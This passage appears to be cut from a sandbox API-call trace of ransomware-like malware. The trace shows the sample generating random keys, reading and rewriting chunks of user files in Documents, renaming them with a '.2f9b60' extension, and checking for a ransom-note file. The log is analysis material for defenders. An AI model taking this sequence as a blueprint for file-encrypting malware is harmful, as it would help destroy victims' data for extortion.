Seed=0x2290fab0) returned 0x41f2f382 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x52ae4b23 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x8bcd9e5 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x74c66610 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x201298a6 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x10bd6d97 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x4fedfd48 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x41108499 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x466b839e [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x5730cac7 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x509c43ef [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x1e766b19 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x28d9056f [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0xc74da04 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x6e577303 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x7a4dfeba [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x5dab0a51 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x712ad057 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x6d70d000 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x32a165d2 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x3acfa90b [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x7303bebe [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x31d09955 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x31e871b2 [0092.936] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x3ad1b6cf [0092.947] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.947] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2290fb20, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2290fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.948] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0092.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0092.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b320) returned 1 [0092.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0092.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0092.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0092.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.949] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2290fb20, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2290fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0092.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f3f0 [0092.951] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.951] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2290fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2290fbd0*=0x11c, lpOverlapped=0x0) returned 1 [0092.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0092.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b200) returned 1 [0092.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ebb0 [0092.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b230) returned 1 [0092.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0092.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9d030 [0092.957] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="3d") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="d1") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="b5") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="ed") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="a0") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="5e") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="d5") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="27") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="91") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="55") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="c0") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="b4") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="35") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="40") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="1b") returned 2 [0092.957] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="77") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="2e") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="fe") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="5f") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="e3") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="16") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="5f") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="7e") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="4a") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="01") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="20") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="bf") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="30") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="81") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="2e") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="72") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="8d") returned 2 [0092.958] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="33") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="2d") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="81") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="cb") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="9c") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="c3") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d07c, _Format="%c%c" | out: _Dest="4a") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d07e, _Format="%c%c" | out: _Dest="8d") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d080, _Format="%c%c" | out: _Dest="29") returned 2 [0092.959] sprintf (in: _Dest=0x1cd9d082, _Format="%c%c" | out: _Dest="31") returned 2 [0092.959] RtlInitAnsiString (in: DestinationString=0x2290fc48, SourceString="3dd1b5eda05ed5279155c0b435401b772efe5fe3165f7e4a0120bf30812e728d332d81cb9cc34a8d2931" | out: DestinationString="3dd1b5eda05ed5279155c0b435401b772efe5fe3165f7e4a0120bf30812e728d332d81cb9cc34a8d2931") [0092.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x2290fc18, SourceString="3dd1b5eda05ed5279155c0b435401b772efe5fe3165f7e4a0120bf30812e728d332d81cb9cc34a8d2931", AllocateDestinationString=1 | out: DestinationString="3dd1b5eda05ed5279155c0b435401b772efe5fe3165f7e4a0120bf30812e728d332d81cb9cc34a8d2931") returned 0x0 [0092.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0092.959] wcscat (in: _Dest=0x1b7ad2a0, _Source="3dd1b5eda05ed5279155c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3dd1b5eda05ed5279155c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3dd1b5eda05ed5279155c" [0092.960] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3dd1b5eda05ed5279155c.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3dd1b5eda05ed5279155c.2f9b60" [0092.960] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3dd1b5eda05ed5279155c.2f9b60", NtPathName=0x2290fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3dd1b5eda05ed5279155c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce108f0 [0092.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.961] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x2290fc58, FileInformation=0x2290fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2290fc58, FileInformation=0x2290fc68) returned 0x0 [0092.961] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x2290fc58, FileInformation=0x2290fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0092.964] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.965] CloseHandle (hObject=0xcfc) returned 1 [0092.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef90 [0092.966] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.966] wcscat (in: _Dest=0x1b85ef90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.966] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0092.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784be0) returned 1 Thread: id = 512 os_tid = 0xd50 [0092.969] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\krInVDzWY8V31uWPS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\krinvdzwy8v31uwps.ods")) returned 0x20 [0092.969] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\krInVDzWY8V31uWPS.ods", dwFileAttributes=0x20) returned 1 [0092.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\krInVDzWY8V31uWPS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\krinvdzwy8v31uwps.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.970] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x22b9fe00 | out: lpFileSize=0x22b9fe00*=93012) returned 1 [0092.970] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x16b50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.970] ReadFile (in: hFile=0xcfc, lpBuffer=0x22b9fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22b9fdc8, lpOverlapped=0x0 | out: lpBuffer=0x22b9fd80*, lpNumberOfBytesRead=0x22b9fdc8*=0x4, lpOverlapped=0x0) returned 1 [0092.971] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0092.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0092.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.971] NtQuerySystemTime (in: CurrentTime=0x22b9fcc0 | out: CurrentTime=0x22b9fcc0*=132462176988022000) returned 0x0 [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0xedc665d [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x51041c12 [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x777c352a [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x7bbd4c54 [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x17893665 [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x6ffbe80e [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x3fb2eeef [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x1d301dcc [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x2c74511 [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x32aae4df [0092.971] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x6b0edb07 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x7afd825f [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x7704b146 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x29a29e7c [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x3f2ca4f7 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x272e623f [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x2049aeb8 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x3c62a349 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x4ae7d032 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x20bd9df0 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x4a366106 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x6732acd2 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0xf00b7a7 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x6c0b6829 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x6fc8ee99 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x58e7d644 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x53ccbd39 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x5d41252d [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x72f8e66b [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x49be6dfd [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x15d51295 [0092.972] RtlRandomEx (in: Seed=0x22b9fcb0 | out: Seed=0x22b9fcb0) returned 0x71ae3094 [0092.982] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.982] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22b9fd20, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22b9fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.982] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0092.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0092.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b350) returned 1 [0092.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0092.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0092.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0092.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.983] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22b9fd20, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22b9fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.985] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.985] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22b9fd20, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22b9fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.985] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0092.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0092.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0092.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0092.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.986] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22b9fd20, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22b9fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.987] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x12f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.987] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22b9fd20, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22b9fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.987] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x12f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0092.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0092.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b200) returned 1 [0092.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0092.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.988] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22b9fd20, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22b9fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0092.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e6b0 [0092.989] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.989] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x22b9fdd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x22b9fdd0*=0x15c, lpOverlapped=0x0) returned 1 [0092.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0092.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0092.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ebb0 [0092.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0092.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0092.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.992] 